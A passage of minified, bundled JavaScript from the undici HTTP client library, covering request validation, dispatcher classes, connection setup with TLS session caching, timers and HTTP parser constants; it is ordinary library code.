H66={delete:"DELETE",DELETE:"DELETE",get:"GET",GET:"GET",head:"HEAD",HEAD:"HEAD",options:"OPTIONS",OPTIONS:"OPTIONS",post:"POST",POST:"POST",put:"PUT",PUT:"PUT"},BK4={...H66,patch:"patch",PATCH:"PATCH"};Object.setPrototypeOf(H66,null);Object.setPrototypeOf(BK4,null);mK4.exports={kEnumerableProperty:uK4,nop:bu3,isDisturbed:nu3,isErrored:ru3,isReadable:ou3,toUSVString:bK4,isUSVString:qB3,isBlobLike:kK4,parseOrigin:uu3,parseURL:LK4,getServerName:mu3,isStream:g71,isIterable:RK4,isAsyncIterable:Fu3,isDestroyed:IK4,headerNameToString:SK4,bufferToLowerCasedHeaderName:du3,addListener:JB3,removeAllListeners:OB3,errorRequest:XB3,parseRawHeaders:lu3,parseHeaders:cu3,parseKeepAliveTimeout:pu3,destroy:Qu3,bodyLength:yK4,deepClone:gu3,ReadableStreamFrom:su3,isBuffer:hK4,validateHandler:iu3,getSocketInfo:au3,isFormDataLike:tu3,buildURL:xu3,addAbortListener:eu3,isValidHTTPToken:YB3,isValidHeaderValue:wB3,isTokenCharCode:xK4,parseRangeHeader:HB3,normalizedMethodRecordsBase:H66,normalizedMethodRecords:BK4,isValidPort:CK4,isHttpOrHttpsPrefixed:B71,nodeMajor:Iu3,nodeMinor:Su3,safeHTTPMethods:["GET","HEAD","OPTIONS","TRACE"],wrapRequestBody:hu3}});var Y0A=v((o1w,FK4)=>{var u2=CA("node:diagnostics_channel"),O66=CA("node:util"),F71=O66.debuglog("undici"),J66=O66.debuglog("fetch"),y8A=O66.debuglog("websocket"),gK4=!1,$B3={beforeConnect:u2.channel("undici:client:beforeConnect"),connected:u2.channel("undici:client:connected"),connectError:u2.channel("undici:client:connectError"),sendHeaders:u2.channel("undici:client:sendHeaders"),create:u2.channel("undici:request:create"),bodySent:u2.channel("undici:request:bodySent"),headers:u2.channel("undici:request:headers"),trailers:u2.channel("undici:request:trailers"),error:u2.channel("undici:request:error"),open:u2.channel("undici:websocket:open"),close:u2.channel("undici:websocket:close"),socketError:u2.channel("undici:websocket:socket_error"),ping:u2.channel("undici:websocket:ping"),pong:u2.channel("undici:websocket:pong")};if(F71.enabled||J66.enabled){let A=J66.enabled?J66:F71;u2.channel("undici:client:beforeConnect").subscribe((K)=>{let{connectParams:{version:q,protocol:Y,port:z,host:w}}=K;A("connecting to %s using %s%s",`${w}${z?`:${z}`:""}`,Y,q)}),u2.channel("undici:client:connected").subscribe((K)=>{let{connectParams:{version:q,protocol:Y,port:z,host:w}}=K;A("connected to %s using %s%s",`${w}${z?`:${z}`:""}`,Y,q)}),u2.channel("undici:client:connectError").subscribe((K)=>{let{connectParams:{version:q,protocol:Y,port:z,host:w},error:H}=K;A("connection to %s using %s%s errored - %s",`${w}${z?`:${z}`:""}`,Y,q,H.message)}),u2.channel("undici:client:sendHeaders").subscribe((K)=>{let{request:{method:q,path:Y,origin:z}}=K;A("sending request to %s %s/%s",q,z,Y)}),u2.channel("undici:request:headers").subscribe((K)=>{let{request:{method:q,path:Y,origin:z},response:{statusCode:w}}=K;A("received response to %s %s/%s - HTTP %d",q,z,Y,w)}),u2.channel("undici:request:trailers").subscribe((K)=>{let{request:{method:q,path:Y,origin:z}}=K;A("trailers received from %s %s/%s",q,z,Y)}),u2.channel("undici:request:error").subscribe((K)=>{let{request:{method:q,path:Y,origin:z},error:w}=K;A("request to %s %s/%s errored - %s",q,z,Y,w.message)}),gK4=!0}if(y8A.enabled){if(!gK4){let A=F71.enabled?F71:y8A;u2.channel("undici:client:beforeConnect").subscribe((K)=>{let{connectParams:{version:q,protocol:Y,port:z,host:w}}=K;A("connecting to %s%s using %s%s",w,z?`:${z}`:"",Y,q)}),u2.channel("undici:client:connected").subscribe((K)=>{let{connectParams:{version:q,protocol:Y,port:z,host:w}}=K;A("connected to %s%s using %s%s",w,z?`:${z}`:"",Y,q)}),u2.channel("undici:client:connectError").subscribe((K)=>{let{connectParams:{version:q,protocol:Y,port:z,host:w},error:H}=K;A("connection to %s%s using %s%s errored - %s",w,z?`:${z}`:"",Y,q,H.message)}),u2.channel("undici:client:sendHeaders").subscribe((K)=>{let{request:{method:q,path:Y,origin:z}}=K;A("sending request to %s %s/%s",q,z,Y)})}u2.channel("undici:websocket:open").subscribe((A)=>{let{address:{address:K,port:q}}=A;y8A("connection opened %s%s",K,q?`:${q}`:"")}),u2.channel("undici:websocket:close").subscribe((A)=>{let{websocket:K,code:q,reason:Y}=A;y8A("closed connection to %s - %s %s",K.url,q,Y)}),u2.channel("undici:websocket:socket_error").subscribe((A)=>{y8A("connection errored - %s",A.message)}),u2.channel("undici:websocket:ping").subscribe((A)=>{y8A("ping received")}),u2.channel("undici:websocket:pong").subscribe((A)=>{y8A("pong received")})}FK4.exports={channels:$B3}});var lK4=v((a1w,cK4)=>{var{InvalidArgumentError:OO,NotSupportedError:_B3}=_2(),XQ=CA("node:assert"),{isValidHTTPToken:pK4,isValidHeaderValue:QK4,isStream:GB3,destroy:ZB3,isBuffer:WB3,isFormDataLike:DB3,isIterable:jB3,isBlobLike:MB3,buildURL:PB3,validateHandler:VB3,getServerName:fB3,normalizedMethodRecords:NB3}=j9(),{channels:Ox}=Y0A(),{headerNameLowerCasedRecord:UK4}=u71(),TB3=/[^\u0021-\u00ff]/,Pk=Symbol("handler");class dK4{constructor(A,{path:K,method:q,body:Y,headers:z,query:w,idempotent:H,blocking:J,upgrade:O,headersTimeout:X,bodyTimeout:$,reset:_,throwOnError:G,expectContinue:Z,servername:W},D){if(typeof K!=="string")throw new OO("path must be a string");else if(K[0]!=="/"&&!(K.startsWith("http://")||K.startsWith("https://"))&&q!=="CONNECT")throw new OO("path must be an absolute URL or start with a slash");else if(TB3.test(K))throw new OO("invalid request path");if(typeof q!=="string")throw new OO("method must be a string");else if(NB3[q]===void 0&&!pK4(q))throw new OO("invalid request method");if(O&&typeof O!=="string")throw new OO("upgrade must be a string");if(X!=null&&(!Number.isFinite(X)||X<0))throw new OO("invalid headersTimeout");if($!=null&&(!Number.isFinite($)||$<0))throw new OO("invalid bodyTimeout");if(_!=null&&typeof _!=="boolean")throw new OO("invalid reset");if(Z!=null&&typeof Z!=="boolean")throw new OO("invalid expectContinue");if(this.headersTimeout=X,this.bodyTimeout=$,this.throwOnError=G===!0,this.method=q,this.abort=null,Y==null)this.body=null;else if(GB3(Y)){this.body=Y;let j=this.body._readableState;if(!j||!j.autoDestroy)this.endHandler=function(){ZB3(this)},this.body.on("end",this.endHandler);this.errorHandler=(M)=>{if(this.abort)this.abort(M);else this.error=M},this.body.on("error",this.errorHandler)}else if(WB3(Y))this.body=Y.byteLength?Y:null;else if(ArrayBuffer.isView(Y))this.body=Y.buffer.byteLength?Buffer.from(Y.buffer,Y.byteOffset,Y.byteLength):null;else if(Y instanceof ArrayBuffer)this.body=Y.byteLength?Buffer.from(Y):null;else if(typeof Y==="string")this.body=Y.length?Buffer.from(Y):null;else if(DB3(Y)||jB3(Y)||MB3(Y))this.body=Y;else throw new OO("body must be a string, a Buffer, a Readable stream, an iterable, or an async iterable");if(this.completed=!1,this.aborted=!1,this.upgrade=O||null,this.path=w?PB3(K,w):K,this.origin=A,this.idempotent=H==null?q==="HEAD"||q==="GET":H,this.blocking=J==null?!1:J,this.reset=_==null?null:_,this.host=null,this.contentLength=null,this.contentType=null,this.headers=[],this.expectContinue=Z!=null?Z:!1,Array.isArray(z)){if(z.length%2!==0)throw new OO("headers array must be even");for(let j=0;j<z.length;j+=2)Q71(this,z[j],z[j+1])}else if(z&&typeof z==="object")if(z[Symbol.iterator])for(let j of z){if(!Array.isArray(j)||j.length!==2)throw new OO("headers must be in key-value pair format");Q71(this,j[0],j[1])}else{let j=Object.keys(z);for(let M=0;M<j.length;++M)Q71(this,j[M],z[j[M]])}else if(z!=null)throw new OO("headers must be an object or an array");if(VB3(D,q,O),this.servername=W||fB3(this.host),this[Pk]=D,Ox.create.hasSubscribers)Ox.create.publish({request:this})}onBodySent(A){if(this[Pk].onBodySent)try{return this[Pk].onBodySent(A)}catch(K){this.abort(K)}}onRequestSent(){if(Ox.bodySent.hasSubscribers)Ox.bodySent.publish({request:this});if(this[Pk].onRequestSent)try{return this[Pk].onRequestSent()}catch(A){this.abort(A)}}onConnect(A){if(XQ(!this.aborted),XQ(!this.completed),this.error)A(this.error);else return this.abort=A,this[Pk].onConnect(A)}onResponseStarted(){return this[Pk].onResponseStarted?.()}onHeaders(A,K,q,Y){if(XQ(!this.aborted),XQ(!this.completed),Ox.headers.hasSubscribers)Ox.headers.publish({request:this,response:{statusCode:A,headers:K,statusText:Y}});try{return this[Pk].onHeaders(A,K,q,Y)}catch(z){this.abort(z)}}onData(A){XQ(!this.aborted),XQ(!this.completed);try{return this[Pk].onData(A)}catch(K){return this.abort(K),!1}}onUpgrade(A,K,q){return XQ(!this.aborted),XQ(!this.completed),this[Pk].onUpgrade(A,K,q)}onComplete(A){if(this.onFinally(),XQ(!this.aborted),this.completed=!0,Ox.trailers.hasSubscribers)Ox.trailers.publish({request:this,trailers:A});try{return this[Pk].onComplete(A)}catch(K){this.onError(K)}}onError(A){if(this.onFinally(),Ox.error.hasSubscribers)Ox.error.publish({request:this,error:A});if(this.aborted)return;return this.aborted=!0,this[Pk].onError(A)}onFinally(){if(this.errorHandler)this.body.off("error",this.errorHandler),this.errorHandler=null;if(this.endHandler)this.body.off("end",this.endHandler),this.endHandler=null}addHeader(A,K){return Q71(this,A,K),this}}function Q71(A,K,q){if(q&&(typeof q==="object"&&!Array.isArray(q)))throw new OO(`invalid ${K} header`);else if(q===void 0)return;let Y=UK4[K];if(Y===void 0){if(Y=K.toLowerCase(),UK4[Y]===void 0&&!pK4(Y))throw new OO("invalid header key")}if(Array.isArray(q)){let z=[];for(let w=0;w<q.length;w++)if(typeof q[w]==="string"){if(!QK4(q[w]))throw new OO(`invalid ${K} header`);z.push(q[w])}else if(q[w]===null)z.push("");else if(typeof q[w]==="object")throw new OO(`invalid ${K} header`);else z.push(`${q[w]}`);q=z}else if(typeof q==="string"){if(!QK4(q))throw new OO(`invalid ${K} header`)}else if(q===null)q="";else q=`${q}`;if(A.host===null&&Y==="host"){if(typeof q!=="string")throw new OO("invalid host header");A.host=q}else if(A.contentLength===null&&Y==="content-length"){if(A.contentLength=parseInt(q,10),!Number.isFinite(A.contentLength))throw new OO("invalid content-length header")}else if(A.contentType===null&&Y==="content-type")A.contentType=q,A.headers.push(K,q);else if(Y==="transfer-encoding"||Y==="keep-alive"||Y==="upgrade")throw new OO(`invalid ${Y} header`);else if(Y==="connection"){let z=typeof q==="string"?q.toLowerCase():null;if(z!=="close"&&z!=="keep-alive")throw new OO("invalid connection header");if(z==="close")A.reset=!0}else if(Y==="expect")throw new _B3("expect header not supported");else A.headers.push(K,q)}cK4.exports=dK4});var YRA=v((s1w,nK4)=>{var vB3=CA("node:events");class X66 extends vB3{dispatch(){throw Error("not implemented")}close(){throw Error("not implemented")}destroy(){throw Error("not implemented")}compose(...A){let K=Array.isArray(A[0])?A[0]:A,q=this.dispatch.bind(this);for(let Y of K){if(Y==null)continue;if(typeof Y!=="function")throw TypeError(`invalid interceptor, expected function received ${typeof Y}`);if(q=Y(q),q==null||typeof q!=="function"||q.length!==2)throw TypeError("invalid interceptor")}return new iK4(this,q)}}class iK4 extends X66{#A=null;#K=null;constructor(A,K){super();this.#A=A,this.#K=K}dispatch(...A){this.#K(...A)}close(...A){return this.#A.close(...A)}destroy(...A){return this.#A.destroy(...A)}}nK4.exports=X66});var J0A=v((t1w,oK4)=>{var EB3=YRA(),{ClientDestroyedError:$66,ClientClosedError:kB3,InvalidArgumentError:z0A}=_2(),{kDestroy:CB3,kClose:LB3,kClosed:zRA,kDestroyed:w0A,kDispatch:_66,kInterceptors:I8A}=MJ(),$Q=Symbol("onDestroyed"),H0A=Symbol("onClosed"),U71=Symbol("Intercepted Dispatch");class rK4 extends EB3{constructor(){super();this[w0A]=!1,this[$Q]=null,this[zRA]=!1,this[H0A]=[]}get destroyed(){return this[w0A]}get closed(){return this[zRA]}get interceptors(){return this[I8A]}set interceptors(A){if(A){for(let K=A.length-1;K>=0;K--)if(typeof this[I8A][K]!=="function")throw new z0A("interceptor must be an function")}this[I8A]=A}close(A){if(A===void 0)return new Promise((q,Y)=>{this.close((z,w)=>{return z?Y(z):q(w)})});if(typeof A!=="function")throw new z0A("invalid callback");if(this[w0A]){queueMicrotask(()=>A(new $66,null));return}if(this[zRA]){if(this[H0A])this[H0A].push(A);else queueMicrotask(()=>A(null,null));return}this[zRA]=!0,this[H0A].push(A);let K=()=>{let q=this[H0A];this[H0A]=null;for(let Y=0;Y<q.length;Y++)q[Y](null,null)};this[LB3]().then(()=>this.destroy()).then(()=>{queueMicrotask(K)})}destroy(A,K){if(typeof A==="function")K=A,A=null;if(K===void 0)return new Promise((Y,z)=>{this.destroy(A,(w,H)=>{return w?z(w):Y(H)})});if(typeof K!=="function")throw new z0A("invalid callback");if(this[w0A]){if(this[$Q])this[$Q].push(K);else queueMicrotask(()=>K(null,null));return}if(!A)A=new $66;this[w0A]=!0,this[$Q]=this[$Q]||[],this[$Q].push(K);let q=()=>{let Y=this[$Q];this[$Q]=null;for(let z=0;z<Y.length;z++)Y[z](null,null)};this[CB3](A).then(()=>{queueMicrotask(q)})}[U71](A,K){if(!this[I8A]||this[I8A].length===0)return this[U71]=this[_66],this[_66](A,K);let q=this[_66].bind(this);for(let Y=this[I8A].length-1;Y>=0;Y--)q=this[I8A][Y](q);return this[U71]=q,q(A,K)}dispatch(A,K){if(!K||typeof K!=="object")throw new z0A("handler must be an object");try{if(!A||typeof A!=="object")throw new z0A("opts must be an object.");if(this[w0A]||this[$Q])throw new $66;if(this[zRA])throw new kB3;return this[U71](A,K)}catch(q){if(typeof K.onError!=="function")throw new z0A("invalid onError method");return K.onError(q),!1}}}oK4.exports=rK4});var V66=v((e1w,eK4)=>{var O0A=0,G66=1000,Z66=(G66>>1)-1,_Q,W66=Symbol("kFastTimer"),GQ=[],D66=-2,j66=-1,sK4=0,aK4=1;function M66(){O0A+=Z66;let A=0,K=GQ.length;while(A<K){let q=GQ[A];if(q._state===sK4)q._idleStart=O0A-Z66,q._state=aK4;else if(q._state===aK4&&O0A>=q._idleStart+q._idleTimeout)q._state=j66,q._idleStart=-1,q._onTimeout(q._timerArg);if(q._state===j66){if(q._state=D66,--K!==0)GQ[A]=GQ[K]}else++A}if(GQ.length=K,GQ.length!==0)tK4()}function tK4(){if(_Q)_Q.refresh();else if(clearTimeout(_Q),_Q=setTimeout(M66,Z66),_Q.unref)_Q.unref()}class P66{[W66]=!0;_state=D66;_idleTimeout=-1;_idleStart=-1;_onTimeout;_timerArg;constructor(A,K,q){this._onTimeout=A,this._idleTimeout=K,this._timerArg=q,this.refresh()}refresh(){if(this._state===D66)GQ.push(this);if(!_Q||GQ.length===1)tK4();this._state=sK4}clear(){this._state=j66,this._idleStart=-1}}eK4.exports={setTimeout(A,K,q){return K<=G66?setTimeout(A,K,q):new P66(A,K,q)},clearTimeout(A){if(A[W66])A.clear();else clearTimeout(A)},setFastTimeout(A,K,q){return new P66(A,K,q)},clearFastTimeout(A){A.clear()},now(){return O0A},tick(A=0){O0A+=A-G66+1,M66(),M66()},reset(){O0A=0,GQ.length=0,clearTimeout(_Q),_Q=null},kFastTimer:W66}});var wRA=v((A6w,zq4)=>{var RB3=CA("node:net"),Aq4=CA("node:assert"),Yq4=j9(),{InvalidArgumentError:yB3,ConnectTimeoutError:IB3}=_2(),p71=V66();function Kq4(){}var f66,N66;if(global.FinalizationRegistry&&!(process.env.NODE_V8_COVERAGE||process.env.UNDICI_NO_FG))N66=class{constructor(K){this._maxCachedSessions=K,this._sessionCache=new Map,this._sessionRegistry=new global.FinalizationRegistry((q)=>{if(this._sessionCache.size<this._maxCachedSessions)return;let Y=this._sessionCache.get(q);if(Y!==void 0&&Y.deref()===void 0)this._sessionCache.delete(q)})}get(K){let q=this._sessionCache.get(K);return q?q.deref():null}set(K,q){if(this._maxCachedSessions===0)return;this._sessionCache.set(K,new WeakRef(q)),this._sessionRegistry.register(q,K)}};else N66=class{constructor(K){this._maxCachedSessions=K,this._sessionCache=new Map}get(K){return this._sessionCache.get(K)}set(K,q){if(this._maxCachedSessions===0)return;if(this._sessionCache.size>=this._maxCachedSessions){let{value:Y}=this._sessionCache.keys().next();this._sessionCache.delete(Y)}this._sessionCache.set(K,q)}};function SB3({allowH2:A,maxCachedSessions:K,socketPath:q,timeout:Y,session:z,...w}){if(K!=null&&(!Number.isInteger(K)||K<0))throw new yB3("maxCachedSessions must be a positive integer or zero");let H={path:q,...w},J=new N66(K==null?100:K);return Y=Y==null?1e4:Y,A=A!=null?A:!1,function({hostname:X,host:$,protocol:_,port:G,servername:Z,localAddress:W,httpSocket:D},j){let M;if(_==="https:"){if(!f66)f66=CA("node:tls");Z=Z||H.servername||Yq4.getServerName($)||null;let f=Z||X;Aq4(f);let N=z||J.get(f)||null;G=G||443,M=f66.connect({highWaterMark:16384,...H,servername:Z,session:N,localAddress:W,ALPNProtocols:A?["http/1.1","h2"]:["http/1.1"],socket:D,port:G,host:X}),M.on("session",function(T){J.set(f,T)})}else Aq4(!D,"httpSocket can only be sent on TLS update"),G=G||80,M=RB3.connect({highWaterMark:65536,...H,localAddress:W,port:G,host:X});if(H.keepAlive==null||H.keepAlive){let f=H.keepAliveInitialDelay===void 0?60000:H.keepAliveInitialDelay;M.setKeepAlive(!0,f)}let P=hB3(new WeakRef(M),{timeout:Y,hostname:X,port:G});return M.setNoDelay(!0).once(_==="https:"?"secureConnect":"connect",function(){if(queueMicrotask(P),j){let f=j;j=null,f(null,this)}}).on("error",function(f){if(queueMicrotask(P),j){let N=j;j=null,N(f)}}),M}}var hB3=process.platform==="win32"?(A,K)=>{if(!K.timeout)return Kq4;let q=null,Y=null,z=p71.setFastTimeout(()=>{q=setImmediate(()=>{Y=setImmediate(()=>qq4(A.deref(),K))})},K.timeout);return()=>{p71.clearFastTimeout(z),clearImmediate(q),clearImmediate(Y)}}:(A,K)=>{if(!K.timeout)return Kq4;let q=null,Y=p71.setFastTimeout(()=>{q=setImmediate(()=>{qq4(A.deref(),K)})},K.timeout);return()=>{p71.clearFastTimeout(Y),clearImmediate(q)}};function qq4(A,K){if(A==null)return;let q="Connect Timeout Error";if(Array.isArray(A.autoSelectFamilyAttemptedAddresses))q+=` (attempted addresses: ${A.autoSelectFamilyAttemptedAddresses.join(", ")},`;else q+=` (attempted address: ${K.hostname}:${K.port},`;q+=` timeout: ${K.timeout}ms)`,Yq4.destroy(A,new IB3(q))}zq4.exports=SB3});var Jq4=v((wq4)=>{Object.defineProperty(wq4,"__esModule",{value:!0});wq4.enumToMap=void 0;function bB3(A){let K={};return Object.keys(A).forEach((q)=>{let Y=A[q];if(typeof Y==="number")K[q]=Y}),K}wq4.enumToMap=bB3});var Eq4=v((Dq4)=>{Object.defineProperty(Dq4,"__esModule",{value:!0});Dq4.SPECIAL_HEADERS=Dq4.HEADER_STATE=Dq4.MINOR=Dq4.MAJOR=Dq4.CONNECTION_TOKEN_CHARS=Dq4.HEADER_CHARS=Dq4.TOKEN=Dq4.STRICT_TOKEN=Dq4.HEX=Dq4.URL_CHAR=Dq4.STRICT_URL_CHAR=Dq4.USERINFO_CHARS=Dq4.MARK=Dq4.ALPHANUM=Dq4.NUM=Dq4.HEX_MAP=Dq4.NUM_MAP=Dq4.ALPHA=Dq4.FINISH=Dq4.H_METHOD_MAP=Dq4.METHOD_MAP=Dq4.METHODS_RTSP=Dq4.METHODS_ICE=Dq4.METHODS_HTTP=Dq4.METHODS=Dq4.LENIENT_FLAGS=Dq4.FLAGS=Dq4.TYPE=Dq4.ERROR=void 0;var xB3=Jq4(),uB3;(function(A){A[A.OK=0]="OK",A[A.INTERNAL=1]="INTERNAL",A[A.STRICT=2]="STRICT",A[A.LF_EXPECTED=3]="LF_EXPECTED",A[A.UNEXPECTED_CONTENT_LENGTH=4]="UNEXPECTED_CONTENT_LENGTH",A[A.CLOSED_CONNECTION=5]="CLOSED_CONNECTION",A[A.INVALID_METHOD=6]="INVALID_METHOD",A[A.INVALID_URL=7]="INVALID_URL",A[A.INVALID_CONSTANT=8]="INVALID_CONSTANT",A[A.INVALID_VERSION=9]="INVALID_VERSION",A[A.INVALID_HEADER_TOKEN=10]="INVALID_HEADER_TOKEN",A[A.INVALID_CONTENT_LENGTH=11]="INVALID_CONTENT_LENGTH",A[A.INVALID_CHUNK_SIZE=12]="INVALID_CHUNK_SIZE",A[A.INVALID_STATUS=13]="INVALID_STATUS",A[A.INVALID_EOF_STATE=14]="INVALID_EOF_STATE",A[A.INVALID_TRANSFER_ENCODING=15]="INVALID_TRANSFER_ENCODING",A[A.CB_MESSAGE_BEGIN=16]="CB_MESSAGE_BEGIN",A[A.CB_HEADERS_COMPLETE=17]="CB_HEADERS_COMPLETE",A[A.CB_MESSAGE_COMPLETE=18]="CB_MESSAGE_COMPLETE",A[A.CB_CHUNK_HEADER=19]="CB_CHUNK_HEADER",A[A.CB_CHUNK_COMPLETE=20]="CB_CHUNK_COMPLETE",A[A.PAUSED=21]="PAUSED",A[A.PAUSED_UPGRADE=22]="PAUSED_UPGRADE",A[A.PAUSED_H2_UPGRADE=23]="PAUSED_H2_UPGRADE",A[A.USER=24]="USER"})(uB3=Dq4.ERROR||(Dq4.ERROR={}));var BB3;(function(A){A[A.BOTH=0]="BOTH",A[A.REQUEST=1]="REQUEST",A[A.RESPONSE=2]="RESPONSE"})(BB3=Dq4.TYPE||(Dq4.TYPE={}));var mB3;(function(A){A[A.CONNECTION_KEEP_ALIVE=1]="CONNECTION_KEEP_ALIVE",A[A.CONNECTION_CLOSE=2]="CONNECTION_CLOSE",A[A.CONNECTION_UPGRADE=4]="CONNECTION_UPGRADE",A[A.CHUNKED=8]="CHUNKED",A[A.UPGRADE=16]="UPGRADE",A[A.CONTENT_LENGTH=32]="CONTENT_LENGTH",A[A.SKIPBODY=64]="SKIPBODY",A[A.TRAILING=128]="TRAILING",A[A.TRANSFER_ENCODING=512]="TRANSFER_ENCODING"})(mB3=Dq4.FLAGS||(Dq4.FLAGS={}));var gB3;(function(A){A[A.HEADERS=1]="HEADERS",A[A.CHUNKED_LENGTH=2]="CHUNKED_LENGTH",A[A.KEEP_ALIVE=4]="KEEP_ALIVE"})(gB3=Dq4.LENIENT_FLAGS||(Dq4.LENIENT_FLAGS={}));var zq;(function(A){A[A.DELETE=0]="DELETE",A[A.GET=1]="GET",A[A.HEAD=2]="HEAD",A[A.POST=3]="POST",A[A.PUT=4]="PUT",A[A.CONNECT=5]="CONNECT",A[A.OPTIONS=6]="OPTIONS",A[A.TRACE=7]="TRACE",A[A.COPY=8]="COPY",A[A.LOCK=9]="LOCK",A[A.MKCOL=10]="MKCOL",A[A.MOVE=11]="MOVE",A[A.PROPFIND=12]="PROPFIND",A[A.PROPPATCH=13]="PROPPATCH",A[A.SEARCH=14]="SEARCH",A[A.UNLOCK=15]="UNLOCK",A[A.BIND=16]="BIND",A[A.REBIND=17]="REBIND",A[A.UNBIND=18]="UNBIND",A[A.ACL=19]="ACL",A[A.REPORT=20]="REPORT",A[A.MKACTIVITY=21]="MKACTIVITY",A[A.CHECKOUT=22]="CHECKOUT",A[A.MERGE=23]="MERGE",A[A["M-SEARCH"]=24]="M-SEARCH",A[A.NOTIFY=25]="NOTIFY",A[A.SUBSCRIBE=26]="SUBSCRIBE",A[A.UNSUBSCRIBE=27]="UNSUBSCRIBE",A[A.PATCH=28]="PATCH",A[A.PURGE=29]="PURGE",A[A.MKCALENDAR=30]="MKCALENDAR",A[A.LINK=31]="LINK",A[A.UNLINK=32]="UNLINK",A[A.SOURCE=33]="SOURCE",A[A.PRI=34]="PRI",A[A.DESCRIBE=35]="DESCRIBE",A[A.ANNOUNCE=36]="ANNOUNCE",A[A.SETUP=37]="SETUP",A[A.PLAY=38]="PLAY",A[A.PAUSE=39]="PAUSE",A[A.TEARDOWN=40]="TEARDOWN",A[A.GET_PARAMETER=41]="GET_PARAMETER",A[A.SET_PARAMETER=42]="SET_PARAMETER",A[A.REDIRECT=43]="REDIRECT",A[A.RECORD=44]="RECORD",A[A.FLUSH=45]="FLUSH"})(zq=Dq4.METHODS||(Dq4.METHODS={}));Dq4.METHODS_HTTP=[zq.DELETE,zq.GET,zq.HEAD,zq.POST,zq.PUT,zq.CONNECT,zq.OPTIONS,zq.TRACE,zq.COPY,zq.LOCK,zq.MKCOL,zq.MOVE,zq.PROPFIND,zq.PROPPATCH,zq.SEARCH,zq.UNLOCK,zq.BIND,zq.REBIND,zq.UNBIND,zq.ACL,zq.REPORT,zq.MKACTIVITY,zq.CHECKOUT,zq.MERGE,zq["M-SEARCH"],zq.NOTIFY,zq.SUBSCRIBE,zq.UNSUBSCRIBE,zq.PATCH,zq.PURGE,zq.MKCALENDAR,zq.LINK,zq.UNLINK,zq.PRI,zq.SOURCE];Dq4.METHODS_ICE=[zq.SOURCE];Dq4.METHODS_RTSP=[zq.OPTIONS,zq.DESCRIBE,zq.ANNOUNCE,zq.SETUP,zq.PLAY,zq.PAUSE,zq.TEARDOWN,zq.GET_PARAMETER,zq.SET_PARAMETER,zq.REDIRECT,zq.RECORD,zq.FLUSH,zq.GET,zq.POST];Dq4.METHOD_MAP=xB3.enumToMap(zq);Dq4.H_METHOD_MAP={};Object.keys(Dq4.METHOD_MAP).forEach((A)=>{if(/^H/.test(A))Dq4.H_METHOD_MAP[A]=Dq4.METHOD_MAP[A]});var FB3;(function(A){A[A.SAFE=0]="SAFE",A[A.SAFE_WITH_CB=1]="SAFE_WITH_CB",A[A.UNSAFE=2]="UNSAFE"})(FB3=Dq4.FINISH||(Dq4.FINISH={}));Dq4.ALPHA=[];for(let A=65;A<=90;A++)Dq4.ALPHA.push(String.fromCharCode(A)),Dq4.ALPHA.push(String.fromCharCode(A+32));Dq4.NUM_MAP={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9};Dq4.HEX_MAP={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,A:10,B:11,C:12,D:13,E:14,F:15,a:10,b:11,c:12,d:13,e:14,f:15};Dq4.NUM=["0","1","2","3","4","5","6","7","8","9"];Dq4.ALPHANUM=Dq4.ALPHA.concat(Dq4.NUM);Dq4.MARK=["-","_",".","!","~","*","'","(",")"];Dq4.USERINFO_CHARS=Dq4.ALPHANUM.concat(Dq4.MARK).concat(["%",";",":","&","=","+","$",","]);Dq4.STRICT_URL_CHAR=["!",'"',"$","%","&","'","(",")","*","+",",","-",".","/",":",";","<","=",">","@","[","\\","]","^","_","`","{","|","}","~"].concat(Dq4.ALPHANUM);Dq4.URL_CHAR=Dq4.STRICT_URL_CHAR.concat(["\t","\f"]);for(let A=128;A<=255;A++)Dq4.URL_CHAR.push(A);Dq4.HEX=Dq4.NUM.concat(["a","b","c","d","e","f","A","B","C","D","E","F"]);Dq4.STRICT_TOKEN=["!","#","$","%","&","'","*","+","-",".","^","_","`","|","~"].concat(Dq4.ALPHANUM);Dq4.TOKEN=Dq4.STRICT_TOKEN.concat([" "]);Dq4.HEADER_CHARS=["\t"];for(let A=32;A<=255;A++)if(A!==127)Dq4.HEADER_CHARS.push(A);Dq4.CONNECTION_TOKEN_CHARS=Dq4.HEADER_CHARS.filter((A)=>A!==44);Dq4.MAJOR=Dq4.NUM_MAP;Dq4.MINOR=Dq4.MAJOR;var X0A;(function(A){A[A.GENERAL=0]="GENERAL",A[A.CONNECTION=1]="CONNECTION",A[A.CONTENT_LENGTH=2]="CONTENT_LENGTH",A[A.TRANSFER_ENCODING=3]="TRANSFER_ENCODING",A[A.UPGRADE=4]="UPGRADE",A[A.CONNECTION_KEEP_ALIVE=5]="CONNECTION_KEEP_ALIVE",A[A.CONNECTION_CLOSE=6]="CONNECTION_CLOSE",A[A.CONNECTION_UPGRADE=7]="CONNECTION_UPGRADE",A[A.TRANSFER_ENCODING_CHUNKED=8]="TRANSFER_ENCODING_CHUNKED"})(X0A=Dq4.HEADER_STATE||(Dq4.HEADER_STATE={}));Dq4.SPECIAL_HEADERS={connection:X0A.CONNECTION,"content-length":X0A.CONTENT_LENGTH,"proxy-connection":X0A.CONNECTION,"transfer-encoding":X0A.TRANSFER_ENCODING,upgrade:X0A.UPGRADE}});var 